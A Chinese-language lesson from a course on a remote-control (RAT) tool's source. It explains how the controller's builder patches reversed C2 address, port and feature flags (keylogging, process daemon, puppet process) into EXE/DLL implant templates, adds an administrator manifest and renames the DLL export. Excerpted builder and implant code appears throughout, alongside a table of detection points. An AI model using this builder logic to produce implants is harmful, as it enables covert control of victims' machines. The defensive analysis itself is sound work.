16 / 52 插件与被控运行机制

第 16 课:生成 EXE 与 DLL

# 第 16 课:生成 EXE 与 DLL

免责声明:本专栏仅用于安全工程学习研究,禁止使用本专栏介绍的技术做其他用途,否则后果自负,与本号无关。

本课定位:防御分析、源码阅读、构建链理解。
本课只说明主控生成 EXE/DLL 的源码路径、模板选择和配置写入方式,不提供未授权投递或使用步骤。

第 15 课之后,我们已经理解插件侧网络库。本课回到主控端,看“生成 EXE / DLL”按钮背后做了什么。新手要先建立一个认识:这里所谓生成,并不是现场编译源码,而是把已有模板产物读出来,再把连接配置、启动参数和导出入口等信息写进模板。

# 1. 本课学习目标

问题 本课回答
主控有哪些生成模式 普通 EXE、请求管理员权限 EXE、DLL
生成按钮在哪里 主控\Quick\BuildDlg.cpp
模板从哪里来 Plugins\x86 / Plugins\x64 下的上线模块模板
配置如何写入 查找占位标记并替换配置结构
DLL 有什么特殊点 需要处理导出入口占位和 DLL 使用方式

# 2. 源码目录和文件

文件 作用
主控\Quick\BuildDlg.cpp 生成按钮、生成模式、模板写入逻辑
主控\Quick\BuildDlg.h 生成对话框字段声明
主控\Quick\MainFrm.cpp 初始化时释放插件模板和计算版本
主插件\上线模块\上线模块\上线模块.cpp EXE/DLL 入口差异
主插件\上线模块\上线模块\上线模块.vcxproj EXE/DLL 项目类型配置

# 3. 三种生成模式:按钮只是入口,核心都进 build

3. 三种生成模式:按钮只是入口,核心都进 build(配图)

主控生成对话框里有三个入口:普通 EXE、请求管理员权限 EXE、DLL。它们最终都调用 build(mode),区别在于模式参数和后续模板处理。

// 源码位置:主控\Quick\BuildDlg.cpp:8-15
// 防御分析注释:
// 1. BuildModeType 是生成链入口枚举,用来区分 EXE、请求管理员权限 EXE、DLL 和 shellcode。
// 2. 本课只讲 EXE / DLL;shellcode 生成在第 18 课单独展开。
// 3. 做企业审计时,应把这些枚举视为“构建能力面”,不要只盯运行期联网行为。
enum BuildModeType
{
    BuildModeTypeExe,
    // 生成的 exe 运行时请求管理员权限
    BuildModeTypeExeWithRequestAdmin,
    BuildModeTypeDll,
    BuildModeTypeShellCode
};
1
2
3
4
5
6
7
8
9
10
11
12
13
// 源码位置:主控\Quick\BuildDlg.cpp:991-1025
// 防御分析注释:
// 1. 三个按钮都清空提示框,然后调用 build(mode)。
// 2. 按钮回调本身不生成文件,真正写文件的是后面的 ChangeDataAndWriteFile。
// 3. 企业侧如果要做构建链审计,应记录操作者、生成模式、输出路径、模板路径和产物哈希。
void CBuildDlg::OnBnClickedBuildExe()
{
    m_edit_tip.SetWindowText(_T(""));
    m_edit_tip.SendMessage(EM_REPLACESEL, 0, (LPARAM)_T("开始生成.\r\n"));

    if (!build(BuildModeType::BuildModeTypeExe))
        m_edit_tip.SendMessage(EM_REPLACESEL, 0, (LPARAM)_T("生成失败\r\n"));
}

void CBuildDlg::OnBnClickedBuildExeWithRequestAdmin()
{
    m_edit_tip.SetWindowText(_T(""));
    m_edit_tip.SendMessage(EM_REPLACESEL, 0, (LPARAM)_T("开始生成.\r\n"));

    if (!build(BuildModeType::BuildModeTypeExeWithRequestAdmin))
        m_edit_tip.SendMessage(EM_REPLACESEL, 0, (LPARAM)_T("生成失败\r\n"));
}

void CBuildDlg::OnBnClickedBuildDll()
{
    m_edit_tip.SetWindowText(_T(""));
    m_edit_tip.SendMessage(EM_REPLACESEL, 0, (LPARAM)_T("开始生成.\r\n"));

    if (!build(BuildModeType::BuildModeTypeDll))
        m_edit_tip.SendMessage(EM_REPLACESEL, 0, (LPARAM)_T("生成失败\r\n"));
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

新手读 MFC 项目时,可以把它理解为一条固定路径:

按钮资源 IDC_BUILD_EXE / IDC_BUILD_DLL
  -> MFC 消息映射 ON_BN_CLICKED
  -> CBuildDlg::OnBnClickedBuild*
  -> CBuildDlg::build(mode)
  -> GetSettingData
  -> ChangeDataAndWriteFile
1
2
3
4
5
6

# 4. build:一次生成同时处理 x86 和 x64

build 里有一个很关键的设计:选择“生成 EXE”后,它会分别读取 x86 和 x64 模板,各输出一份产物。DLL 模式也是同样的思路。

// 源码位置:主控\Quick\BuildDlg.cpp:1028-1132
// 防御分析注释:
// 1. CFileDialog 只选择输出基名,源码会自动追加 _86.exe / _64.exe / _86.dll / _64.dll。
// 2. templateFilePath 指向主控运行目录下的 Plugins\x86 或 Plugins\x64。
// 3. 这里没有调用编译器,生成动作本质上是“模板文件 + 配置覆盖 + 写出新文件”。
// 4. 安全化节选:省略 UI 提示和错误消息,只保留防御分析所需的控制流。
BOOL CBuildDlg::build(int mode)
{
    UpdateData(TRUE);

    CFileDialog dlg(FALSE, _T(""), _T("output"),
        OFN_HIDEREADONLY | OFN_OVERWRITEPROMPT,
        _T("可执行文件(*.*)| All Files (*.*) |*.*||"), NULL);
    if (dlg.DoModal() != IDOK)
        return FALSE;

    CString templatePath;
    CString newFilePath = dlg.GetPathName();
    int nGenerateNum = m_nGenerateNum;
    int successNum = 0;

    if (mode == BuildModeType::BuildModeTypeExe)
    {
        if (!GetSettingData())
            return FALSE;

        templatePath = _T("\\Plugins\\x86\\上线模块.bin");
        ChangeDataAndWriteFile(templatePath, newFilePath, L"_86.exe",
            FALSE, false, nGenerateNum, successNum);

        templatePath = _T("\\Plugins\\x64\\上线模块.bin");
        ChangeDataAndWriteFile(templatePath, newFilePath, L"_64.exe",
            FALSE, false, nGenerateNum, successNum);
    }
    else if (mode == BuildModeType::BuildModeTypeDll)
    {
        templatePath = _T("\\Plugins\\x86\\上线模块.dll");
        ChangeDataAndWriteFile(templatePath, newFilePath, L"_86.dll",
            TRUE, false, nGenerateNum, successNum);

        templatePath = _T("\\Plugins\\x64\\上线模块.dll");
        ChangeDataAndWriteFile(templatePath, newFilePath, L"_64.dll",
            TRUE, false, nGenerateNum, successNum);
    }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45

这里的 上线模块.bin上线模块.dll 是两种模板:

模板 生成结果 入口形态
上线模块.bin 生成 _86.exe / _64.exe 运行时走 _tmain
上线模块.dll 生成 _86.dll / _64.dll 加载时走 DllMain 或导出函数

# 5. 高权限 EXE:多一步 manifest 注入

请求管理员权限 EXE 仍然读取 上线模块.bin,但 withRequestAdmin 会变成 true。写出文件后,源码会调用 InjectManifest

// 源码位置:主控\Quick\BuildDlg.cpp:1078-1099、1320-1325、1344-1375
// 防御分析注释:
// 1. BuildModeTypeExeWithRequestAdmin 和普通 EXE 共用模板。
// 2. 差异在 withRequestAdmin=true,写出后调用 InjectManifest。
// 3. manifest 中的 requireAdministrator 会影响 UAC,是企业检测和合规审查重点。
// 4. 合规远程运维工具不应静默提升权限,应有授权、签名、审批和审计。
else if (mode == BuildModeTypeExeWithRequestAdmin)
{
    templateFilePath = _T("\\Plugins\\x86\\上线模块.bin");
    ChangeDataAndWriteFile(templateFilePath, newFilePath, L"%s_86.exe",
        FALSE, true, nGenerateNum, successNum);
}

if (withRequestAdmin)
{
    if (InjectManifest(strNewFileName))
        successNum++;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

这一步不是网络行为,但很有检测价值。构建期的 requireAdministrator 已经说明产物有更高权限诉求,后续运行期再结合进程树、签名、网络连接和插件加载,才能形成完整判断。

# 6. 配置如何写入模板

6. 配置如何写入模板(配图)

配置写入分两段:先由 GetSettingData 把界面字段变成配置字符串,再由 ChangeDataAndWriteFile 覆盖模板里的 xiugaishiyong

// 源码位置:主控\Quick\BuildDlg.cpp:1136-1199
// 防御分析注释:
// 1. g_myInfo 先接收界面中的地址、端口、协议、备注、分组和功能开关。
// 2. Setfindinfo 把 confimodel 里的中文占位词替换成真实值或 "1"/"0"。
// 3. s.MakeReverse() 会把配置反转,运行期上线模块再反转回来解析。
// 4. m_szConfig 是最终写入模板的缓冲区,是静态分析的重要线索。
bool CBuildDlg::GetSettingData()
{
    UpdateData(TRUE);

    _tcscpy_s(g_myInfo.szAddress, m_edit_ip.GetBuffer(0));
    _tcscpy_s(g_myInfo.szPort, m_edit_port.GetBuffer(0));
    g_myInfo.IsTcp = m_combo_net.GetCurSel() ? false : true;

    g_myInfo.otherset.IsKeyboard =
        (((CButton*)GetDlgItem(IDC_CHECK_KEYBOARD))->GetCheck()) ? true : false;
    g_myInfo.otherset.antinet =
        (((CButton*)GetDlgItem(IDC_CHECK_NET))->GetCheck()) ? true : false;
    g_myInfo.otherset.Processdaemon =
        (((CButton*)GetDlgItem(IDC_CHECK_PROCESSDAEMON))->GetCheck()) ? true : false;
    g_myInfo.otherset.puppet =
        (((CButton*)GetDlgItem(IDC_CHECK_PUPPET))->GetCheck()) ? true : false;

    CString s = confimodel;
    Setfindinfo(s, _T("地址1"), g_myInfo.szAddress, NULL);
    Setfindinfo(s, _T("端口1"), g_myInfo.szPort, NULL);
    Setfindinfo(s, _T("通信1"), NULL, g_myInfo.IsTcp);
    Setfindinfo(s, _T("键盘"), NULL, g_myInfo.otherset.IsKeyboard);
    Setfindinfo(s, _T("流量"), NULL, g_myInfo.otherset.antinet);
    Setfindinfo(s, _T("守护"), NULL, g_myInfo.otherset.Processdaemon);
    Setfindinfo(s, _T("傀儡"), NULL, g_myInfo.otherset.puppet);

    s.MakeReverse();
    ZeroMemory(m_szConfig, 1000 * 2);
    memcpy(m_szConfig, s.GetBuffer(), s.GetLength() * 2 + 2);
    return TRUE;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
// 源码位置:主控\Quick\BuildDlg.cpp:1212-1342
// 防御分析注释:
// 1. path_data = 主控运行目录 + strTemplateFilePath,说明模板来自 Plugins 目录。
// 2. memfind(str, _T("xiugaishiyong"), len, 0) 是配置写入定位点。
// 3. 找不到占位标记就退出,说明模板必须预留该标记。
// 4. strNewFileName 带序号和架构后缀,企业侧应记录输出路径、哈希和操作者。
void CBuildDlg::ChangeDataAndWriteFile(
    const CString& strTemplateFilePath,
    const CString& newFilePath,
    const CString& newFileTemplateName,
    BOOL bChangeExport,
    bool withRequestAdmin,
    int generateNum,
    int& successNum)
{
    TCHAR szDataPath[MAX_PATH] = { 0 };
    GetModuleFileName(NULL, szDataPath, ARRAYSIZE(szDataPath));
    *_tcsrchr(szDataPath, _T('\\')) = '\0';

    CString path_data;
    path_data = szDataPath;
    path_data += strTemplateFilePath;
    HANDLE hFile = CreateFile(path_data, GENERIC_READ, FILE_SHARE_READ,
        NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

    DWORD len = GetFileSize(hFile, NULL);
    char* str = new char[len];
    ReadFile(hFile, str, len, &wr, NULL);
    CloseHandle(hFile);

    DWORD dwOffset = memfind(str, _T("xiugaishiyong"), len, 0);
    if (dwOffset == -1)
        return;

    memcpy(str + dwOffset, (char*)&m_szConfig, lstrlen(m_szConfig) * 2 + 1);

    for (int i = 0; i < generateNum; i++)
    {
        CString strNewFileName;
        strNewFileName.Format(L"%s_%03d_%s",
            newFilePath, i + 1, newFileTemplateName);
        CFile file;
        if (file.Open(strNewFileName,
            CFile::modeCreate | CFile::modeWrite | CFile::modeRead | CFile::typeBinary))
        {
            file.Write(str, len);
            file.Close();
        }
    }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50

上面代码是安全化节选:省略文件句柄异常处理和 UI 提示,只保留防御分析所需的模板读取、占位定位、配置覆盖和输出流程。

# 7. DLL 生成有什么不同

7. DLL 生成有什么不同(配图)

DLL 模式除了写入连接配置,还要处理 DLL 入口和导出函数相关占位。源码里默认导出名占位是 zidingyixiugaidaochuhanshu

// 源码位置:主控\Quick\BuildDlg.cpp:1102-1129、1278-1303
// 防御分析注释:
// 1. DLL 模式先询问是否加载时运行 DllMain,结果写入 RunDllEntryProc。
// 2. bChangeExport 为 TRUE 时,会替换导出函数名占位。
// 3. dwOffset_export 是模板中导出名的位置,m_edit_dll 是界面字段。
// 4. 合规 DLL 产物应明确导出函数用途,并具备签名、版本、加载者和审计记录。
else if (mode == BuildModeType::BuildModeTypeDll)
{
    g_myInfo.otherset.RunDllEntryProc =
        (MessageBox(_T("Dll加载运行DllMain吗?"), _T("加载执行"), MB_OKCANCEL) == IDOK);

    if (!GetSettingData())
        return FALSE;

    templateFilePath = _T("\\Plugins\\x86\\上线模块.dll");
    ChangeDataAndWriteFile(templateFilePath, newFilePath, L"_86.dll",
        TRUE, false, nGenerateNum, successNum);
}

if (bChangeExport)
{
    dwOffset_export = memfind(str, "zidingyixiugaidaochuhanshu", len, 0);
    exportnamelen = WideCharToMultiByte(CP_ACP, 0, m_edit_dll, -1, NULL, 0, NULL, NULL);
    memcpy(str + dwOffset_export, (char*)exportnamebuf, exportnamelen);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

模板侧也有对应的入口差异。

// 源码位置:主插件\上线模块\上线模块\上线模块.cpp:58-59、350-416
// 防御分析注释:
// 1. confi 的初始值 xiugaishiyong 和生成器中的 memfind 对应。
// 2. 非 _WINDLL 产物走 _tmain,DLL 产物走 DllMain / load / run。
// 3. load(TCHAR* code) 可以接收外部传入配置,run() 是无参数导出入口。
// 4. 防御侧重点记录加载者、导出名、线程创建、配置解析和后续网络行为。
TCHAR confi[1000] = _T("xiugaishiyong");

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
    if (ul_reason_for_call == DLL_PROCESS_ATTACH)
    {
        Analyze();
        if (MyInfo.otherset.RunDllEntryProc)
            hThread = CreateThread(0, 0,
                (LPTHREAD_START_ROUTINE)MainThread, 0, 0, 0);
    }
    return TRUE;
}

extern "C" __declspec(dllexport) void load(TCHAR* code)
{
    memcpy(confi, code, lstrlen(code) * 2 + 2);
    Analyze();
    hThread = CreateThread(0, 0,
        (LPTHREAD_START_ROUTINE)MainThread, 0, 0, 0);
}

extern "C" __declspec(dllexport) PVOID run()
{
    hThread = CreateThread(0, 0,
        (LPTHREAD_START_ROUTINE)MainThread, 0, 0, 0);
    return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34

# 8. 模板运行期如何解析配置

生成器写进去的是反转后的配置字符串。运行期上线模块会先把它反转回来,再按短标记解析到 MyInfo

// 源码位置:主插件\上线模块\上线模块\上线模块.cpp:118-154
// 防御分析注释:
// 1. _tcsrev(confi) 对应生成期的 s.MakeReverse()。
// 2. Getfindinfo 解析 p1/o1/t1 等短标记,得到地址、端口和协议。
// 3. jp/ll/sh/kl 等标记对应键盘记录、反查流量、进程守护、傀儡进程等开关。
// 4. 这里只做防御性阅读,不提供配置构造方式。
void Analyze()
{
#ifndef _DEBUG
    _tcsrev(confi);
    ZeroMemory(&MyInfo, sizeof(Info));

    Getfindinfo(confi, _T("p1:"), MyInfo.szAddress, NULL);
    Getfindinfo(confi, _T("o1:"), MyInfo.szPort, NULL);
    Getfindinfo(confi, _T("t1:"), NULL, &(MyInfo.IsTcp));

    Getfindinfo(confi, _T("jp:"), NULL, &(MyInfo.otherset.IsKeyboard));
    Getfindinfo(confi, _T("ll:"), NULL, &(MyInfo.otherset.antinet));
    Getfindinfo(confi, _T("sh:"), NULL, &(MyInfo.otherset.Processdaemon));
    Getfindinfo(confi, _T("kl:"), NULL, &(MyInfo.otherset.puppet));
#endif
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

# 9. 模板来源:主控启动时释放资源

生成器依赖的模板不是凭空出现的。主控启动时会把内置资源写到 Plugins\x86Plugins\x64,并保存插件版本信息。

// 源码位置:主控\Quick\MainFrm.cpp:1538-1642
// 防御分析注释:
// 1. iswin64 决定输出到 Plugins\x64 还是 Plugins\x86。
// 2. FindResource / LoadResource / LockResource 说明模板来自主控资源。
// 3. MD5 会被保存为 Version,后续用于插件版本协商。
// 4. buildshellcode 为真时,会额外生成 _bin 数据,和第 18 课、第 21 课衔接。
void CMainFrame::WriteResource(bool iswin64, TCHAR* lp_path,
    TCHAR* lp_filename, int lpszType, TCHAR* lpresname,
    bool bwrite, bool buildshellcode, char* param)
{
    CString str = lp_path;
    iswin64 ? str += _T("\\Plugins\\x64\\") : str += _T("\\Plugins\\x86\\");
    str += lp_filename;

    HRSRC hResource = FindResource(GetModuleHandle(NULL),
        MAKEINTRESOURCE(lpszType), lpresname);
    HGLOBAL hg = LoadResource(GetModuleHandle(NULL), hResource);
    char* pBuffer = (char*)LockResource(hg);
    DWORD dwSize = SizeofResource(GetModuleHandle(NULL), hResource);

    if (bwrite)
        WriteFile(h_Skinfile, pBuffer, dwSize, &dwTemp, NULL);

    p_PluginsInfo->filedate = (BYTE*)pBuffer;
    p_PluginsInfo->filesize = dwSize;
    string s_tmp = MD5((void*)pBuffer, dwSize).toString();
    int size = MultiByteToWideChar(CP_ACP, 0, s_tmp.c_str(), -1, NULL, 0);
    MultiByteToWideChar(CP_ACP, 0, s_tmp.c_str(), -1, p_PluginsInfo->Version, size);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

这里涉及 BoxedApp SDK 相关封装。它在本工程里的用途是辅助创建虚拟/本地插件文件,让资源释放后的模板以 Plugins\x86/x64 路径呈现。它不是配置生成的核心,但会影响文件落地和审计视角。

# 10. 企业检测点

层面 检测点 说明
构建链 读取 Plugins\x86/x64 模板 说明主控正在生成新产物
文件 输出 EXE/DLL 记录路径、哈希、签名状态
静态 xiugaishiyongzidingyixiugaidaochuhanshu 可作为源码审计线索
配置 反转配置、p1/o1/t1jp/ll/sh/kl 关联生成期配置和运行期行为
权限 requireAdministrator manifest 识别提升权限诉求
DLL DllMainloadrun 明确加载者、导出入口和加载审计

# 11. 合法练习题

  1. 只阅读源码,画出“按钮 -> build -> 选择模板 -> 写入配置 -> 输出文件”的流程图。
  2. 说明 EXE 和 DLL 在入口函数上的区别。
  3. 给合规构建系统设计产物记录字段:产物名、架构、模式、哈希、签名、操作者、时间。
  4. 从源码角度说明为什么 xiugaishiyong 是生成链关键标记。

# 12. 本课小结

本课讲清楚了主控生成 EXE/DLL 的本质:它读取已有模板,写入反转后的配置字符串,再输出 x86/x64 两套产物。EXE 通过 _tmain 启动,DLL 通过 DllMain 或导出函数进入。对企业安全工程来说,构建链不是边缘环节;模板读取、配置写入、manifest 注入、导出函数替换和产物落地,都应该进入检测和审计范围。

安全工程知识交流加wx:easy_coder,黑灰产勿扰,企业单位合作请出示有效证件。

上次更新: 2026/07/14, 19:37:40

社区交流

讨论与留言

前往 GitHub Issues →

本留言区仅对应当前文章,欢迎补充观点、提出问题或帮助修正文中疏漏。 留言由 GitHub/Gitalk 提供,需要使用 GitHub 登录。

最近更新
第 1 课:专栏导论与安全边界
07-01
第 3 课:安装编译与调试环境
07-01
第 4 课:第三方库下载、编译与依赖管理
07-01
更多文章>